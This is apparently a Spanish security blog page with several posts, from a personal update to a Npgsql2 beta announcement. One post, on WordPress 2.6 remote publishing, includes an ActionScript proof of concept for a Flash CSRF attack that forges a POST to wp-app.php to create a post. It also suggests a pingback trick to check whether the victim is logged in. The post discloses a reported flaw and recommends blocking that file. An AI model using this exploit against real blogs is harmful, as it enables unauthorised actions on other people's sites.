Categories
Varios

Desaparecidos pero todavía con signos de vida…

Ha pasado bastante tiempo desde la última vez que escribí y en todo este tiempo han pasado bastantes cosas, algunas malas y otras muy buenas, como el hecho de cruzar el charco para finalmente retomar mis estudios. Escribo esta tarde fría en tierra ajena, para poner al tanto a los amigos a los que no avisé sobre mi partida y a los que posiblemente les interese saber que fue de mi o de este sitio en general.

Estos meses han sido de bastante cambio y de ahí que esto haya repercutido en la "dura" actividad de escribir o en general de comunicarme. Momentos duros para alguien como yo, acostumbrado a una vida de familia sin muchos sobresaltos, pero a la vez momentos de los que aprendí bastante.

Dejando el lado melancólico, envío saludos a todas las personas que deje, a los lectores que alguna vez estuvieron aquí y que por azares de la vida le den una mirada a este blog 🙂 .

En cuanto al destino de este sitio, personalmente, ya no cuento con mucho tiempo para continuar lo que estaba haciendo en mi querido y añorado pueblo, así que por el momento no escribiré casi nada relacionado a la seguridad sino esporádicamente aquello que me parezca interesante para comentar o para escuchar vuestra opinión.

Finalmente, aunque probablemente no le guste que lo anuncie 😀 , un miembro perdido de este pequeño grupo humano, acaba de volver de su "retiro". Por lo poco que pude conversar con él, seguramente -- luego de ponerse al día -- empezará a darle revivir a este sitio.

Categories
WordPress

Protocolos de publicación remota en WordPress

A estas alturas imagino que la mayoría ya sabe que en cada instalación nueva de WordPress 2.6, tanto la publicación por XMLRPC como APP estarán desactivados por omisión. A pesar de que algunos inicialmente pegaron un grito al cielo por este cambio, personalmente creo que es un cambio acertado, puesto que seguramente reducirá el número de vectores de ataque en aquellos blogs que no necesiten de éstos protocolos.

Sin ir muy lejos, actualmente la forma como está implementado APP en WordPress (y probablemente en otros CMSs), lo hace a este último, vulnerable a ataques CSRF usando Flash, que como se sabe, se puede usar para sobrepasar distintas restricciones de seguridad [1]. La siguiente porción de código muestra que tan sencillo es aprovechar este problema de seguridad en el protocolo mencionado:

actionscript:

// En este caso simplemente crea una nueva entrada.
function WpApp() {
        this.readQueryString();
       
        var blog:String = _params.blog;
        if ( !blog ) return;
        var r:URLRequest = new URLRequest(blog + '/wp-app.php?action=/posts');

        r.method = 'POST';
        r.data =        '<?xml version="1.0" encoding="UTF-8"?>'+
                                '<rss version="2.0"' +
                                        'xmlns:content="http://purl.org/rss/1.0/modules/content/"' +
                                        'xmlns:wfw="http://wellformedweb.org/CommentAPI/"' +
                                        'xmlns:dc="http://purl.org/dc/elements/1.1/"' +
                                        'xmlns:atom="http://www.w3.org/2005/Atom">'
                                '<channel>'+
                                        '<atom:entry>'+
                                                '<title>Boo</title>'+
                                                '<category domain="category" nicename="uncategorized" term="uncategorized"><![CDATA[Uncategorized]]></category>'+
                                                '<content><![CDATA[boo!]]></content>'+
                                        '</atom:entry>'+
                                        '</channel>'+
                                '</rss>';
        r.contentType = 'application/atom+xml';

        navigateToURL(r, '_self');
}

Lo único que el atacante necesitaría, sería identificar si la víctima inició sesión o no, y lo primero que se me viene a la mente en estos momentos es enviar un pingback y luego verificar que hizo click desde algún lado del panel de administración -- ¡a que no soy el único que mira los enlaces entrantes! 😀

Los problemas que comento han sido reportados hace mes y medio aproximadamente, pero hasta el momento sólo hicieron una corrección puntual para la prueba de concepto que envié, por lo que no sería mala idea eliminar este archivo (wp-app.php o app.php) o denegar el acceso al mismo.

[1] Por ejemplo las páginas que permiten subir archivos y que generalmente no tienen protección contra ataques CSRF. Actualmente casi todas las versiones de WordPress sufren este problema y se puede explotar usando lo descrito en Cross-site File Upload Attacks.

Categories
Provocación WordPress

Realidad (¿ligeramente?) distorsionada de un bug

Un fenómeno que últimamente noto en relación a WordPress -- al menos en bloggers hispanos, es que cada vez existe menos tolerancia a los errores que se presentan en cada versión. En mi opinión, estos errores se deben principalmente a que el proceso de desarrollo de este CMS y el código en si, son en cierta forma desordenados; pero por otro lado, la comunidad tampoco ayuda mucho en el reporte de errores, me pregunto ¿cuántos de los que lo usan y usualmente se quejan han tomado parte de su tiempo para reportar algún fallo o comportamiento erróneo en el lugar adecuado?.

He leído también por ahí a un blogger que comentaba que con usar y darle "publicidad" (léase enlaces) a WordPress era más que suficiente para de cierto modo "pagar" por el uso de éste, pero particularmente creo ese comportamiento se aleja de lo que debería ser y/o hacerse en una verdadera comunidad de un proyecto de Software Libre.

En fin, todo este desvarío de ideas se debe a un curioso caso que empezó con una entrada que publicó Héctor titulada "Bug grave en WordPress 2.5.1", a lo cual -- probablemente por el título -- otros bloggers escribieron entre otras cosas (negritas intencionalmente resaltadas):

Un gran problema de seguridad presenta la ultima versión de WordPress 2.5.1, gracias a la ayuda de sigt tenemos una simple y rápida solución. S recomienda modificar estos archivos ya que el bug no estara resuelto hasta la proxima version de WP 2.5.2

Código Geek

Pues sí, salió la actualización WordPress 2.5.1, y ya han descubierto un bug de seguridad. Además, si usaban el plugin XML Sitemaps actualícenlo ya a la última versión si no quieren que su servidor eche humo.

La Brújula Verde

[...] Por otro lado, apenas salió la actualización, se encontró un nuevo error bastante crítico, como explican en SigT y Bitperbit, el cual ya tiene solución. [...]

Geek Spot

Ahora, supongo que a cada uno le corresponde determinar que tan grave es no poder resetear la contraseña de sus propios blogs, "afortunadamente" para mi, hasta el momento no tuve la necesidad de hacer eso ni una sola vez.

Finalmente, me gustaría acotar que este "gravísimo" error se produjo porque había que corregir un problema de seguridad real y el que hizo la corrección no se percató del código que dependía de dicha funcionalidad -- posiblemente si se usaran pruebas unitarias y de integración se evitarían este tipo de casos.

Categories
Web WordPress

WordPress 2.5 y el nuevo panel de admistración

Una de las razones para no actualizar este blog a la última versión de WordPress es que no me gusta nada el nuevo diseño del panel de administración, principalmente porque en las pruebas que hice tengo que usar mucho "scroll" para escribir entradas y precisamente no me agrada perder tiempo en ese tipo de cosas. 🙂

Bueno, desde hace algunos días quería hacer cambios para volver a la misma estructura de versiones anteriores, pero debido a mis limitados conocimientos de CSS y falta de tiempo, no hice casi nada. En fin, luego de revisar la página de reporte de bugs de este proyecto, encontré que Judy Becker se tomó el trabajo de hacer los cambios (¡gracias!) para que la estructura de "Escribir entrada" y "Escribir página" sean -- a mi modo de ver -- más usables (en realidad asemeja a la estructura que se tenía en versiones anteriores):

Diseño modificado del panel de administración de WordPress 2.5

Si quieren descargar aplicar estos cambios a su versión de wordpress, pueden aplicar el siguiente parche o sobreescribir directamente los archivos que cambian -- hasta donde he probado, estos cambios funcionan bien en Firefox (2.0.0.13) e Internet Explorer 7.

Por cierto, para los que todavía no actualizaron a WordPress 2.5 y quieren hacerlo, les sugiero que esperen un poco porque seguramente la siguiente versión corregirá algunos problemas de seguridad leves.

Categories
PostgreSQL

Npgsql2 Beta 3

Acaban de anunciar una nueva beta del conector libre de .NET para PostgreSQL, el cual trae algunas mejoras de rendimiento y algunas novedades, entre las cuales están:

  • Soporte para conexiones con autenticación integrada de Windows, esta característica naturalemente se debe a que PostgreSQL 8.3 agregó esta funcionalidad para la versión de Windows. Lo único que se tiene que hacer para usar este tipo de autenticación es agregar Integrated Security=true a la cadena de conexión
  • Soporte para el manejo de arreglos unidimensionales y multidimensionales:
    csharp:

    NpgsqlCommand d = new NpgsqlCommand();

    Int32[] a = new Int32[2];

    a[0] = 4;
    a[1] = 2;

    NpgsqlCommand command = new NpgsqlCommand("select :arrayParam", conn);

    command.Parameters.Add(new NpgsqlParameter("arrayParam", NpgsqlDbType.Array | NpgsqlDbType.Integer));

    command.Parameters[0].Value = a;

  • Nuevos tipos de datos para fechas que soportan tiempos que están fuera del rango 0001-01-01T00:00:00 - 9999-12-31T23:59:59.
  • Mejoras de rendimiento y corrección de funcionalidades de la clase NpgsqlDataReader.
  • Soporte para CommandBehavior.SequentialAccess
  • El único valor que podrá tomar client_encoding es UTF-8 debido a problemas que se presentan usando otras codificaciones. No estoy seguro del impacto que vaya a tener esto en aplicaciones existentes, pero habrá que hacer las pruebas respectivas para evitar problemas. 🙂
  • Soporte para añadir un valor a search_path desde la cadena de conexión.